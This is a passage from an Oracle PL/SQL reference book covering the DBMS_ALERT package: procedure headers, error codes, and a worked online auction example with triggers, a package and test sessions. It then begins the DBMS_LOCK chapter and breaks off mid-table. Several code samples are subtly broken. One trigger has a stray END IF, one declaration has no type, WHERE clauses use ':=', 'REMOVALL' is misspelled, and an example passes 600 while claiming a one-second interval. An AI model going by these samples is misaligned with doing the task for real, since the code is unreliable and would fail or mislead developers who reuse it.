WAITANY | Waits for any registered alerts to occur | No
WAITONE | Waits for a specific registered alert to occur | No

DBMS_ALERT does not declare any package exceptions of its own. Many of the individual programs raise Oracle exceptions under certain circumstances, as described in the following sections.

3.2.1.2 DBMS_ALERT nonprogram elements

The DBMS_ALERT package contains one nonprogram element, maxwait. It is defined as follows:

maxwait CONSTANT INTEGER := 86400000;

The maxwait constant is the maximum time to wait for an alert. It is used as the default value for the timeout parameter in the WAITONE and WAITANY procedures. The value of 86400000 seconds corresponds to 1000 days.

3.2.2 The DBMS_ALERT Interface

This section describes the programs available through the DBMS_ALERT package.

3.2.2.1 The DBMS_ALERT.REGISTER procedure

The REGISTER procedure registers interest in a specific alert by a database session. Once registered, the session will be notified of any occurrences of the alert. The header for this procedure is,

PROCEDURE DBMS_ALERT.REGISTER
   (name IN VARCHAR2);

where name is the name of the alert to register for notification.

3.2.2.1.1 Exceptions

The REGISTER procedure does not raise any package exceptions. It will raise an ORA-20000 exception for specific error conditions, with message text indicating the error as follows:

ORU-10021

Lock request error; status: n

ORU-10025

Lock request error; status: n

3.2.2.1.2 Restrictions

Note the following restrictions on calling REGISTER:

  • Alert names are limited to 30 bytes and are case-insensitive.

  • Alert names beginning with "ORA$" are reserved for use by Oracle Corporation.

3.2.2.1.3 Example

In this example, the session will be registered to be notified of the EMP_INSERT alert, which is raised whenever INSERTs are performed on the EMP table:

BEGIN
   DBMS_ALERT.REGISTER('EMP_INSERT');
END;

3.2.2.2 The DBMS_ALERT.REMOVE procedure

The REMOVE procedure unregisters a session's interest in receiving notification of a specific alert. It has the following header,

PROCEDURE DBMS_ALERT.REMOVE
   (name IN VARCHAR2);

where name is the name of the alert to unregister from notification.

The REMOVE procedure does not raise any package exceptions, nor does it assert a purity level with the RESTRICT_REFERENCES pragma.

3.2.2.2.1 Example

The following example unregisters for the EMP_INSERT alert:

BEGIN
   DBMS_ALERT.REMOVE('EMP_INSERT');
END;

3.2.2.3 The DBMS_ALERT.REMOVEALL procedure

The REMOVEALL procedure unregisters the session from receiving notification of any and all alerts that have been previously registered. Here's the header:

PROCEDURE DBMS_ALERT.REMOVEALL;

The REMOVEALL procedure does not raise package exceptions, nor does it assert a purity level with the RESTRICT_REFERENCES pragma.

3.2.2.3.1 Example

This example stops all alert notifications to the session:

SQL> execute DBMS_ALERT.REMOVALL;

3.2.2.4 The DBMS_ALERT.SET_DEFAULTS procedure

The SET_DEFAULTS procedure is used to set session configurable settings used by the DBMS_ALERT package. Currently, the polling loop interval sleep time is the only session setting that can be modified using this procedure. The header for this procedure is,

PROCEDURE DBMS_ALERT.SET_DEFAULTS
   (sensitivity IN NUMBER);

where sensitivity is the polling interval sleep time in seconds.

The SET_DEFAULTS procedure does not raise any package exceptions.

3.2.2.4.1 Example

The following example sets the polling interval to one second:

SQL>  execute DBMS_ALERT.SET_DEFAULTS(600);

Setting the polling interval is relevant primarily to users of DBMS_ALERT under Oracle Parallel Server (OPS), since under OPS a polling loop is required to check for alerts issued from another Oracle instance.

3.2.2.5 The DBMS_ALERT.SIGNAL procedure

The SIGNAL procedure posts notification of the occurrence of an alert, which is then propagated to all sessions registered for the alert. Alert notification happens only if and when the signaling transaction COMMITs. Here's the header:

PROCEDURE DBMS_ALERT.SIGNAL
   (name IN VARCHAR2
   ,message IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
name | Name of the alert to signal
message | Message to associate and pass on with the alert

When you are signaling alerts using SIGNAL, it is important to COMMIT (or ROLLBACK) the signaling transaction as soon as possible. Several problems can develop when signaling transactions are held open too long, including the following:

  • Other sessions signaling this alert will block and wait until the COMMIT.

  • Under the multithreaded server, a shared server will be bound to the session until the COMMIT.

  • The signaling session will receive an error if it waits on the alert prior to a COMMIT.

If the signaling transaction is rolled back, no sessions will be notified of the alert. Thus the alerts in DBMS_ALERT are strictly transaction-based.

Multiple sessions can signal the same alert. Note that this process is serialized using DBMS_LOCK (described in Chapter 4, User Lock and Transaction Management) and can add significant wait times unless transactions are closed quickly (as noted earlier).

3.2.2.5.1 Exceptions

This program does not raise any package exceptions. It will raise an ORA-20000 exception for specific error conditions, with message text indicating the error as follows:

ORU-10001

Lock request error, status: n

ORU-10016

Error: n sending on pipe `pipename'

ORU-10017

Error: n receiving on pipe `pipename'

ORU-10022

Lock request error, status: n

3.2.2.5.2 Restrictions

Note the following restrictions on calling SIGNAL:

  • Alert names are limited to 30 bytes and are case-insensitive.

  • Alert names beginning with "ORA$" are reserved for use by Oracle Corporation.

  • RESTRICT_REFERENCES cannot be called in SQL.

3.2.2.5.3 Example

This trigger will signal the EMP_INSERT alert when rows are inserted into the EMP table. The empid column is passed as the alert message for receivers of the alert to use:

CREATE OR REPLACE TRIGGER emp_ARI
AFTER INSERT ON emp
FOR EACH ROW
BEGIN
   /*
   || signal alert that emp has been inserted,
   || passing the empid as alert message
   */
   DBMS_ALERT.SIGNAL('EMP_INSERT', :NEW.empid);
   END IF;

END emp_ARI;
/

3.2.2.6 The DBMS_ALERT.WAITANY procedure

The WAITANY procedure waits for notification of any alerts for which the session is registered. The procedure call will complete when the first alert is signaled or when the wait timeout is reached. Here's the header:

PROCEDURE DBMS_ALERT.WAITANY
   (name OUT VARCHAR2
   ,message OUT VARCHAR2
   ,status OUT INTEGER
   ,timeout IN NUMBER DEFAULT MAXWAIT);

Parameters are summarized in the following table.

Name | Description
name | Name of the alert that occurred
message | Message attached to alert when signaled
status | Status of WAITANY call: 0 means alert; 1 means timeout
timeout | Time in seconds to wait for alerts

When multiple alerts for which the session is registered have been signaled, the call to WAITANY will return the most recent alert that has occurred.

If a session waits on an alert that it has also signaled, a lock request exception will occur unless a COMMIT has taken place between the calls to the SIGNAL and WAITANY procedures.

The WAITANY call uses a polling loop to detect alerts. This avoids notification problems that could otherwise occur when signaled, but uncommitted alerts mask notification of subsequent committed alerts. The polling loop begins with a 1-second interval that increases exponentially to 30 seconds.

3.2.2.6.1 Exceptions

The program does not raise any package exceptions. The program will raise an ORA-20000 exception for specific error conditions, with message text indicating the error as follows:

ORU-10002

Lock request error, status: n

ORU-10015

Error: n waiting for pipe status

ORU-10020

Error: n waiting on lock request

ORU-10024

No alerts registered

3.2.2.6.2 Restrictions

Note the following restrictions on WAITANY:

  • The message parameter is limited to 1800 bytes in length.

  • WAITANY cannot be called in SQL.

3.2.2.6.3 Example

This example waits five minutes to receive the next alert for which the session is registered. If an alert is received, it is displayed. If the EMP_INSERT alert is received, the employee id should be the message, and the employee status is changed without displaying the alert.

DECLARE
   alert_msg     VARCHAR2(1800);
   alert_status  INTEGER;
   alert_name;
BEGIN
   DBMS_ALERT.WAITANY(alert_name, alert_msg, alert_status, 300);

   IF alert_status = 1
   THEN
      DBMS_OUTPUT.PUT_LINE('timed out');

   ELSIF alert_name = 'EMP_INSERT'
   THEN
      UPDATE emp SET status = 'REGISTERED'
      WHERE empid := alert_msg;

   ELSE
      DBMS_OUTPUT.PUT_LINE('received alert: '||alert_name);
   END IF;
END;
/

3.2.2.7 The DBMS_ALERT.WAITONE procedure

The WAITONE procedure waits to be notified of an occurrence of the specified alert. The procedure call will complete when the alert is signaled or when the wait timeout is reached. Here's the header:

PROCEDURE DBMS_ALERT.WAITONE
   (name IN VARCHAR2
   ,message OUT VARCHAR2
   ,status OUT INTEGER
   ,timeout IN NUMBER DEFAULT MAXWAIT);

Parameters are summarized in the following table.

Name | Description
name | Name of the alert to wait for
message | Message attached to alert when signaled
status | Status of WAITONE call: 0 means alert; 1 means timeout
timeout | Time in seconds to wait for alerts

Note the following special cases:

  • If the alert has been registered and signaled prior to the call to the WAITONE procedure, the call will return immediately with the most recent occurrence of the alert.

  • When multiple instances of the alert have been signaled, the call to WAITONE will return the most recent occurrence of the alert.

  • If a session waits for and has also signaled the alert, a lock request exception will occur unless a COMMIT has taken place between the calls to the SIGNAL and WAITONE procedures.

3.2.2.7.1 Exceptions

This program does not raise any package exceptions. The program will raise an ORA-20000 exception for specific error conditions, with message text indicating the error as follows:

ORU-10019

Error: n on lock request

ORU-10023

Lock request error; status: n

ORU-10037

Attempting to wait on uncommitted signal from same session

3.2.2.7.2 Restrictions

Note the following restrictions on WAITONE:

  • The message parameter is limited to 1800 bytes in length.

  • The WAITONE procedure cannot be called in SQL.

3.2.2.7.3 Example

This example waits specifically on the EMP_INSERT alert and updates the status when it is signaled:

DECLARE
   alert_msg     VARCHAR2(1800);
   alert_status  INTEGER;
BEGIN
   DBMS_ALERT.WAITONE('EMP_INSERT', alert_msg, alert_status, 300);

   IF alert_status = 1
   THEN
      DBMS_OUTPUT.PUT_LINE('timed out');

   ELSE
      UPDATE emp SET status = 'REGISTERED'
      WHERE empid := alert_msg;

      DBMS_OUTPUT.PUT_LINE('employee registered');
   END IF;
END;
/

3.2.3 DBMS_ALERT Examples

The DBMS_ALERT package is a good example of how you can build higher-level functionality out of lower-level built-ins. Both the DBMS_LOCK and DBMS_PIPE packages are used extensively in the implementation of DBMS_ALERT.

NOTE: If you have an old Version 7.1 installation of Oracle, you can check out dbmsalrt.sql to see exactly how this is done, since the code is not wrapped.

An important feature of the alerting mechanism in DBMS_ALERT is that it is transaction-based. This means that alerts will be sent to registered sessions only if and when the signaling session issues a COMMIT. If the signaler issues a ROLLBACK instead, the alerts will not be sent. Applications that are interested only in real changes to data in the database will benefit from using transaction-based alerts. Applications that need to signal other sessions regardless of transaction boundaries or data modifications (like debuggers or auditing monitors) will probably need to use DBMS_PIPE instead of DBMS_ALERT.

What kind of application might actually need to be alerted to changes in data? The classic example given in the Oracle documentation is a continuous graphical display of data extracted from some table. Pulling data from the table at set intervals using a polling mechanism can be very inefficient. For one thing, the data may not have changed since the last pull, so a refresh is not really necessary. Also, if the application is separated from the database by a network (as it most likely would be), then the overhead of redundant data extraction is multiplied. In this example, the application could use DBMS_ALERT to suspend itself and wait for a signal to awaken and pull new data for the display. The signal will be received only when data in the table has actually been modified (i.e., a new pull is truly necessary).

3.2.3.1 The online auction

Well, I wanted to do something new and original. I spent some time thinking about other examples for using DBMS_ALERT. Finally, I realized that I had participated in a perfect application for this technology many times already: an online auction. During an auction (especially a virtual one over a computer network), it is important to know when an item you have a bidding interest in has been bid upon. In a traditional auction, this happens because items are auctioned off serially, so bids can only be placed on the current item. In an online auction, the participants are not in a room together, and the auction itself typically takes longer than a traditional auction. Also, it is desirable to auction multiple items simultaneously, taking advantage of the virtual nature of the auction. An auction application that notifies participants of bidding activity relevant (to them) would relieve them of having to constantly monitor their screens to stay abreast of the auction. Bidding could take place simultaneously on multiple items since users interested in those items would automatically be notified of new bids.

3.2.3.2 The auction schema

The online auction was perfect for DBMS_ALERT, so I set about to prove the concept. First, I needed a basic schema. Professional data modelers may wince, but I came up with the following:

Object | Type | Description
AUCTION_ITEMS | TABLE | Items up for auction
BIDS | TABLE | Bids on auction items
HIGH_BIDS | VIEW | High bids by item

These objects are created by the auction.ddl script, reproduced as follows:

/* Filename on companion disk:  auction.ddl */*
rem *********************************************************
rem  AUCTION.DDL
rem
rem  Creates objects used in the "online auction" example
rem  for the DBMS_ALERT package.
rem
rem  Auction_items -- table of items being auctioned
rem  Bids -- table of bids placed on items
rem  High_bids -- view showing the current high bids on
rem               items and who placed them
rem
rem  Author:  John Beresniewicz, Savant Corp
rem
rem
rem  12/07/97: created
rem *********************************************************
DROP VIEW high_bids;
DROP TABLE bids;
DROP TABLE auction_items;

CREATE TABLE auction_items
   (id            VARCHAR2(20)  NOT NULL PRIMARY KEY
   ,description   VARCHAR2(200) NOT NULL
   ,min_bid       NUMBER        NOT NULL
   ,curr_bid      NUMBER
   ,status        VARCHAR2(10)
                  CONSTRAINT   valid_status
                  CHECK (status IN ('OPEN','CLOSED') )
   );

CREATE TABLE bids
   (bidder        VARCHAR2(30)
   ,item_id       VARCHAR2(20)
                  REFERENCES auction_items(id)
                  ON DELETE CASCADE
   ,bid           NUMBER         NOT NULL
   );

CREATE OR REPLACE VIEW high_bids
   (item_id
   ,item_desc
   ,bidder
   ,high_bid)
AS
SELECT
        BID.item_id
       ,AI.description
       ,BID.bidder
       ,BID.bid
  FROM
        bids           BID
       ,auction_items  AI
 WHERE
        BID.item_id    = AI.id
   AND  BID.bid        = (SELECT  MAX(bid)
                            FROM  bids    B2
                           WHERE  BID.item_id = B2.item_id)
/

The AUCTION_ITEMS table contains an identifier and a description of each auction item. There are also columns for the minimum bid, status, and current high bid. This latter is really redundant with information derived in the HIGH_BIDS view, but this denormalization makes for a more interesting example.

The BIDS table holds the bidding activity. Each bid is a bid on an auction_item by a user for a specified amount. Originally, I had a BIDDERS table to track the auction participants, and this would likely be necessary for a real-world application. However, to simplify the example I decided to use the Oracle session username to identify bidders. Thus, there is an assumption that the online auction users will all be connected using unique usernames. The BIDS table also has a complex integrity constraint, which states that all bids must exceed the previous high bid for the same item (this is, after all, how an auction works). An additional constraint is that no bids may be updated or deleted from the table. These constraints are enforced by database triggers discussed later.

The HIGH_BIDS view selects the highest bid for each item along with the item's description and the bidder who made the bid. The auction application's GUI component can make use of this view to display current bidding levels for all items.

3.2.3.3 Auction system requirements

Some basic requirements of the online auction application are as follows:

  • Enforce the complex integrity constraint on the BIDS table.

  • Enforce the no-update, no-delete rule on the BIDS table.

  • Update the CURR_BID column of AUCTION_ITEMS for new bids.

  • Inform bidders when they have been outbid on an item.

  • Inform bidders when an item is closed from further bidding.

There is certainly more than one way to satisfy these requirements, especially the data integrity constraints on the two tables. I decided to implement a combination of database triggers and a package called auction. The database triggers enforce some data integrity constraints and signal changes to interested bidders using DBMS_ALERT.SIGNAL. A procedure called place_bid is responsible for placing bids on items, making sure that the complex integrity constraint is satisfied, and that the bidder is registered to receive notice of any bidding or status changes on the item. Another packaged procedure, called watch_bidding, demonstrates how an application might use DBMS_ALERT.WAITANY to be alerted for any bidding activity of interest to the user.

One immediate issue to address is what the alert names should be. The auction_items.id column seems a natural option since all alerts will concern a specific item.

3.2.3.4 Integrity constraint triggers

Here are the triggers for the auction_items and bids tables:

/* Filename on companion disk:  auction2.sql */*
CREATE OR REPLACE TRIGGER auction_items_ARU
AFTER UPDATE ON auction_items
FOR EACH ROW
BEGIN
   /*
   || trigger enforces no update of item_id and also
   || signals an alert when status changes
   */
   IF UPDATING ('ITEM_ID')
   THEN
      RAISE_APPLICATION_ERROR(-20000, 'Cannot update item id');

   ELSIF UPDATING ('STATUS') AND (:NEW.status != :OLD.status)
   THEN
      /* send new status on as the alert message */
      DBMS_ALERT.SIGNAL(:NEW.id, :NEW.status);
   END IF;
END auction_items_ARU;
/

CREATE OR REPLACE TRIGGER bids_ARIUD
AFTER INSERT OR UPDATE OR DELETE ON bids
FOR EACH ROW
BEGIN
   /*
   || enforce all bids are final rule
   */
   IF UPDATING OR DELETING
   THEN
      RAISE_APPLICATION_ERROR
         (-20001, 'Cannot update or delete, all bids final!');
   ELSE
   /*
   || signal alert on item, send bidder name as message
   */
      DBMS_ALERT.SIGNAL(:NEW.item_id, :NEW.bidder);
   END IF;

END bids_ARIUD;
/

The triggers enforce the basic integrity rules that auction_items.id is a non-updatable column and that rows in the BIDS table cannot be updated or deleted. More importantly, they signal database alerts to registered sessions that auction data has changed using DBMS_ALERT.SIGNAL. The trigger on auction items signals status changes for items. Note the additional check requiring that :NEW.status be different from :OLD.status in order for the alert to be signaled. Also note that the item id is used as the alert name and that the new item status is passed as the alert's message. The trigger on BIDS signals the alert named by the item id and passes the bidder's name as the message. The use of the message parameter with the alerts allows the alert receiver to implement a context-sensitive response to the alert.

By the way, my naming convention for triggers has the table name suffixed by a string like [ A|B ][ R|S ][ I|U|D ] where:

  • A or B indicates an AFTER or BEFORE trigger

  • R or S indicates ROW or STATEMENT level trigger

  • I and/or U and/or D indicates an INSERT or UPDATE or DELETE

3.2.3.5 The auction package

The rest of the online auction requirements are implemented in the auction package. Here is the package specification:

/* Filename on companion disk:  auction1.sql */*
CREATE OR REPLACE PACKAGE auction
   /*
   || Implements a simple interactive bidding system
   || using DBMS_ALERT to keep bidders informed
   || of activity in items they are interested in.
   ||
   || The item_id is used as the ALERT name for the
   || item.
   ||
   || Author:  John Beresniewicz, Savant Corp
   ||
   || 12/07/97: created
   ||
   || Compilation Requirements:
   ||
   || EXECUTE on DBMS_ALERT
   || SELECT, UPDATE on AUCTION_ITEMS
   || INSERT on BIDS
   || SELECT on HIGH_BIDS
   ||
   || Execution Requirements:
   ||
   */
AS
   /*
   || exceptions raised and handled in PLACE_BID
   || procedure
   */
   invalid_item   EXCEPTION;
   bid_too_low    EXCEPTION;
   item_is_closed EXCEPTION;

   /*
   || place a bid on an item, the bid must exceed any
   || other bids on the item (and the minimum bid)
   ||
   || bidding on an item registers interest in the
   || item using DBMS_ALERT.REGISTER
   ||
   || only this procedure should be used to add rows
   || to the bids table, since it also updates
   || auction_items.curr_bid column
   */
   PROCEDURE place_bid
      (item_id_IN IN VARCHAR2
      ,bid_IN IN NUMBER);

   /*
   || close bidding on an item
   */
   PROCEDURE close_item(item_id_IN IN VARCHAR2);

   /*
   || watch for any alerts on items bid by the user
   || indicating other users have raised the bid
   */
   PROCEDURE watch_bidding(timeout_secs_IN IN NUMBER:=300);

END auction;
/

3.2.3.5.1 Place_bid procedure

The place_bid procedure is intended to be used by the GUI application to place all bids in the auction. No INSERTS or UPDATES to the BIDS table should be allowed except through this procedure, as it maintains the complex integrity constraint on the table, updates the curr_bid column of AUCTION_ITEMS, and registers the session for receiving alerts on the item. The body of place_bid looks like this:

/* Filename on companion disk: auction1.sql */*
PROCEDURE place_bid
    (item_id_IN IN VARCHAR2
    ,bid_IN IN NUMBER)
IS
    temp_curr_bid auction_items.curr_bid%TYPE;
    temp_statusauction_items.status%TYPE;

    CURSOR auction_item_cur
    IS
    SELECT NVL(curr_bid,min_bid), status
        FROM auction_items
        WHERE id = item_id_IN
        FOR UPDATE OF curr_bid;

BEGIN
    /*
    || lock row in auction_items
    */
    OPEN auction_item_cur;
    FETCH auction_item_cur INTO temp_curr_bid, temp_status;

    /*
    || do some validity checks
    */
    IF auction_item_cur%NOTFOUND
    THEN
        RAISE invalid_item;

    ELSIF temp_status = 'CLOSED'
    THEN
        RAISE item_is_closed;

    ELSIF bid_IN <= temp_curr_bid
    THEN
        RAISE bid_too_low;

    ELSE
        /*
        || insert to bids AND update auction_items,
        || bidders identified by session username
        */
        INSERT INTO bids (bidder, item_id, bid)
        VALUES (USER, item_id_IN, bid_IN);

        UPDATE auction_items
        SET curr_bid = bid_IN
        WHERE CURRENT OF auction_item_cur;

        /*
        || commit is important because it will send
        || the alert notifications out on the item
        */
        COMMIT;

        /*
        || register for alerts on item since bidding,
        || register after commit to avoid ORU-10002
        */
        DBMS_ALERT.REGISTER(item_id_IN);

    END IF;

    CLOSE auction_item_cur;

EXCEPTION
    WHEN invalid_item
        THEN
            ROLLBACK WORK;
            RAISE_APPLICATION_ERROR
                (-20002,'PLACE_BID ERR: invalid item');
    WHEN bid_too_low
        THEN
            ROLLBACK WORK;
            RAISE_APPLICATION_ERROR
                (-20003,'PLACE_BID ERR: bid too low');
    WHEN item_is_closed
        THEN
            ROLLBACK WORK;
            RAISE_APPLICATION_ERROR
                (-20004,'PLACE_BID ERR: item is closed');
    WHEN OTHERS
        THEN
            ROLLBACK WORK;
            RAISE;
END place_bid;

There are a few things to notice about place_bid. First, the row in AUCTION_ITEMS is locked FOR UPDATE to begin the transaction. I chose not to use NOWAIT in the cursor, because the transaction is small and should be quite fast, minimizing contention problems. The COMMIT immediately follows the INSERT and UPDATE and precedes the call to DBMS_ALERT.REGISTER. Originally I had it the other way around, but kept getting ORU-10002 errors when calling DBMS_ALERT.WAITANY immediately after place_bid. What was happening was that the call to DBMS_ALERT.REGISTER was holding a user lock that the insert trigger to BIDS was also trying to get. By doing the COMMIT first, the trigger is able to acquire and release the lock, which can then be acquired by DBMS_ALERT.REGISTER.

NOTE: To avoid the locking problems mentioned, be careful to code applications in such a way that a COMMIT will occur between calls to SIGNAL and REGISTER.

3.2.3.5.2 Exception handling

Exception handling in place_bid is inelegant but useful. The package defines named exceptions that place_bid detects, raises, and then handles using RAISE_APPLICATION_ERROR. In practice, it may be better to pass these out from the procedure to the calling application and let it handle them. Since I was prototyping in SQL*Plus and wanted to see the exception and an error message immediately, I used RAISE_APPLICATION_ERROR. When using DBMS_ALERT, note also that it is very important to terminate transactions to avoid the locking problems mentioned earlier, so the EXCEPTION section makes sure to include ROLLBACK WORK statements.

3.2.3.5.3 The watch_bidding procedure

With the triggers and the place_bid procedure in place, the online auction system is basically ready to go. Since a real application would involve a GUI, but I was prototyping in SQL*Plus, I needed a way to simulate what the GUI should do to receive DBMS_ALERT signals and inform the user of auction activity. This is basically what the watch_bidding procedure does. It could be modified and called directly from the GUI or its logic could be adapted and embedded into the GUI. The watch_bidding procedure uses DBMS_OUTPUT to display bidding alerts received. It also demonstrates the use of the alert message to implement a context-sensitive response to alerts.

Here is the source code for watch_bidding:

/* Filename on companion disk:auction1.sql */*
PROCEDURE watch_bidding(timeout_secs_IN IN NUMBER:=300)
IS
    temp_nameVARCHAR2(30);
    temp_message VARCHAR2(1800);
    temp_statusINTEGER;
BEGIN
    /*
    || enter a loop which will be exited explicitly
    || when a new bid from another user received or
    || DBMS_ALERT.WAITANY call times out
    */
    LOOP
        /*
        || wait for up to timeout_secs_IN for any alert
        */
        DBMS_ALERT.WAITANY
            (temp_name, temp_message, temp_status, timeout_secs_IN);

        IF temp_status = 1
        THEN
            /*
            || timed out, return control to application
            || so it can do something here if necessary
            */
            EXIT;

        ELSIF temp_message = 'CLOSED'
        THEN
            /*
            || unregister closed item, re-enter loop
            */
            DBMS_ALERT.REMOVE(temp_name);
            DBMS_OUTPUT.PUT_LINE('Item '||temp_name||
                        ' has been closed.');

        ELSIF temp_message = USER OR temp_message = 'OPEN'
        THEN
            /*
            || bid was posted by this user (no need to alert)
            || re-enter loop and wait for another
            */
            NULL;

        ELSE
            /*
            || someone raised the bid on an item this user is bidding
            || on, application should refresh user's display with a
            || query on the high_bids view and/or alert visually
            || (we will just display a message)
            ||
            || exit loop and return control to user so they can bid
            */
            DBMS_OUTPUT.PUT_LINE
                ('Item '||temp_name||' has new bid: '||
                TO_CHAR(curr_bid(temp_name),'$999,999.00')||
                ' placed by: '||temp_message);
            EXIT;
        END IF;
    END LOOP;

END watch_bidding;

The watch_bidding procedure uses DBMS_ALERT.WAITANY to wait for any alerts for which the session has registered. In the auction system, registering for alerts is done when a bid is placed using place_bid. When an alert is received, the name of the alert is the auction item that has been updated. The alert message is used to respond intelligently to the alert as follows:

  • If the alert signals that bidding is closed on the item, the procedure unregisters the alert using DBMS_ALERT.REMOVE and waits for another alert.

  • If the alert was raised by the current user placing a bid or indicates that bidding has been opened on the item, the procedure waits for another alert.

  • If the DBMS_ALERT.WAITANY call times out, control is passed back to the caller.

  • If the alert is raised by another user, a message is displayed and control is passed back to the caller (so the user can make a new bid).

3.2.3.6 Testing the system

So the question is, does it work? I inserted some rows into the AUCTION_ITEMS table as follows:

/* Filename on companion disk:  auction3.sql */*
INSERT INTO auction_items
VALUES ('GB123','Antique gold bracelet',350.00,NULL,'OPEN');

INSERT INTO auction_items
VALUES ('PS447','Paul Stankard paperweight',550.00,NULL,'OPEN');

INSERT INTO auction_items
VALUES ('SC993','Schimmel print',750.00,NULL,'OPEN');

COMMIT;

I granted EXECUTE privilege on the AUCTION package to two users, USER01 and USER02, and connected two SQL*Plus sessions, one for each user. Then I initiated a bidding war using the following PL/SQL block:

/* Filename on companion disk:  auction4.sql */*
set serveroutput on size 100000
set verify off
BEGIN
   opbip.auction.place_bid('GB123',&bid);
   opbip.auction.watch_bidding(300);
END;
/

On each execution of the previous block in each session, I raised the bid. Here are the results from the USER01 session:

SQL> @auction4
Enter value for bid: 1000
Item GB123 has new bid:    $1,100.00 placed by: USER02

PL/SQL procedure successfully completed.

SQL> /
Enter value for bid: 1200
Item GB123 has new bid:    $1,300.00 placed by: USER02

PL/SQL procedure successfully completed.

USER01 opened the bidding on GB123 with a $1000 bid, which was quickly upped by USER02 to $1100, so USER01 came back with $1200 only to be topped finally by the winning $1300 bid by USER02. USER02's log of events confirms this exciting back and forth bidding war:

SQL> @auction4
Enter value for bid: 1100
Item PS447 has been closed.
Item GB123 has new bid:    $1,200.00 placed by: USER01

PL/SQL procedure successfully completed.

SQL> /
Enter value for bid: 1300

PL/SQL procedure successfully completed.

Note that each user is informed only of bids placed by the other user, and not of their own bids. Note also that USER02 was alerted to the fact that item PS447 (the subject of the previous bidding by USER02) had been closed.

So the auction system really does work, and quite well, as a matter of fact!

Previous: 3.1 DBMS_PIPE: Communicating Between Sessions | Oracle Built-in Packages | Next: 4. User Lock and Transaction Management
3.1 DBMS_PIPE: Communicating Between Sessions | Book Index | 4. User Lock and Transaction Management
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] User Lock and Transaction Management

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: 3.2 DBMS_ALERT: Broadcasting Alerts to Users Chapter 4 Next: 4.2 DBMS_TRANSACTION: Interfacing to SQL Transaction Statements

4. User Lock and Transaction Management

Contents:
DBMS_LOCK: Creating and Managing Resource Locks
DBMS_TRANSACTION: Interfacing to SQL Transaction Statements

Complex, multiuser applications that manage new types of resources (objects, BLOBs, etc.) require the ability to manage contention for those resources. The Oracle database manages concurrent, multiuser contention for data using sophisticated locking mechanisms. This chapter describes two packages that provide interfaces to the Oracle lock and transaction management facilities:

DBMS_LOCK

Oracle now provides developers with the "keys" to its locking mechanisms through the DBMS_LOCK package; watch out, though, this deceptively powerful package might also put your applications to "sleep!"

DBMS_TRANSACTION

Complements DBMS_LOCK by providing a programmatic interface to a number of transaction-oriented SQL statements.

4.1 DBMS_LOCK: Creating and Managing Resource Locks

The DBMS_LOCK package makes Oracle lock management services available to PL/SQL developers. User locks created and managed using DBMS_LOCK are functionally identical to native RDBMS locks, even down to the various sharing modes and the deadlock detection.

Locks are typically used to provide serialized access to some resource. Within the database, the most familiar use of locking is to prevent multiple users from updating the same row in a table at the same time. Using DBMS_LOCK, applications can be written that serialize and coordinate access or usage of nondata resources. For instance, user locks can be used to do the following:

  • Provide exclusive access to an external device or service (e.g., a printer)

  • Coordinate or synchronize parallelized applications

  • Disable or enable execution of programs at specific times

  • Detect whether a session has ended a transaction using COMMIT or ROLLBACK

4.1.1 Getting Started with DBMS_LOCK

The DBMS_LOCK package is created when the Oracle database is installed. The dbmslock.sql script (found in the built-in packages source code directory, as described in Chapter 1, Introduction) contains the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation. The script creates the public synonym DBMS_LOCK for the package. Under Oracle7, no privileges are automatically granted on DBMS_LOCK. Under Oracle8, the EXECUTE_CATALOG_ROLE role is granted EXECUTE privilege on DBMS_LOCK. Thus, the DBMS_LOCK programs are not generally available to users. Access to DBMS_LOCK is obtained by granting EXECUTE privilege explicitly to users or roles that require use of the package.

4.1.1.1 DBMS_LOCK programs

Table 4.1 lists the programs available in the DBMS_LOCK package.

Table 4.1: DBMS_LOCK Programs
Name | Description | Use in SQL?
ALLOCATE_UNIQUE | Generates a unique lock ID for a given lock name | No
CONVERT | Converts lock to specified mode | No
RELEASE | Releases previously acquired lock | No
REQUEST | Requests lock with specified mode | No
SLEEP | Suspends the session for a specified time | No

DBMS_LOCK does not declare any package exceptions, and none of its programs assert a purity level with the RESTRICT_REFERENCES pragma.

4.1.1.2 DBMS_LOCK nonprogram elements

DBMS_LOCK declares a number of constants, most of which identify specific locking modes. Table 4.2 describes these elements.

Table 4.2: DBMS_LOCK Declared Constants
Constant | Description
nl_mode CONSTANT INTEGER | Null lock mode
ss_mode CONSTANT INTEGER | Sub-shared lock mode
sx_mode CONSTANT INTEGER | Sub-exclusive lock mode
s_mode CONSTANT INTEGER | Shared lock mode
ssx_mode CONSTANT INTEGER | Sub-shared exclusive lock mode
x_mode CONSTANT INTEGER | Exclusive lock mode
maxwait CONSTANT INTEGER | Used as default for timeout parameters

4.1.1.3 Lock compatibility rules

A lock held by one user session in a certain mode may prevent another session from being able to obtain that lock in the same or another mode. There are lock compatibility rules determining the success or failure of acquiring and converting locks from one mode to another, depending on the modes in which the same lock is held by other sessions. Table 4.3 indicates the compatibility rules for the various lock modes. The HELD MODE column indicates the mode in which the lock is currently held by some session. The other columns indicate whether the lock can be obtained by other sessions in the mode specified by the column header.

Table 4.3: Lock Mode Compatibility
HELD MODE | GET NL | GET SS | GET SX | GET S | GET SSX | GET X
NL | Succeed | Succeed | Succeed | Succeed | Succeed | Succeed
SS | Succeed | Succeed | Succeed | Succeed | Succeed | Fail
SX | Succeed | Succeed | Succeed | Fail | Fail | Fail
S | Succeed | Succeed | Fail | Succeed | Fail | Fail
SSX | Succeed | Succeed | Fail | Fail | Fail | Fail
X | Succeed | Fail | Fail | Fail | Fail | Fail

4.1.2 The DBMS_LOCK Interface

This section contains descriptions of all of the procedures and functions available through DBMS_LOCK.

4.1.2.1 The DBMS_LOCK.ALLOCATE_UNIQUE procedure

The ALLOCATE_UNIQUE procedure returns a unique "handle" to a lock specified by the lockname parameter. The handle can be used to safely identify locks in calls to other DBMS_LOCK programs. Using lockhandles avoids the potential for lock identifier collisions that exists when identifiers are determined by applications. The header for this program follows:

PROCEDURE DBMS_LOCK.ALLOCATE_UNIQUE
    (lockname IN VARCHAR2
    ,lockhandle OUT VARCHAR2
    ,expiration_secs IN INTEGER DEFAULT 864000);

Parameters for this procedure are summarized in the following table.

Parameter | Description
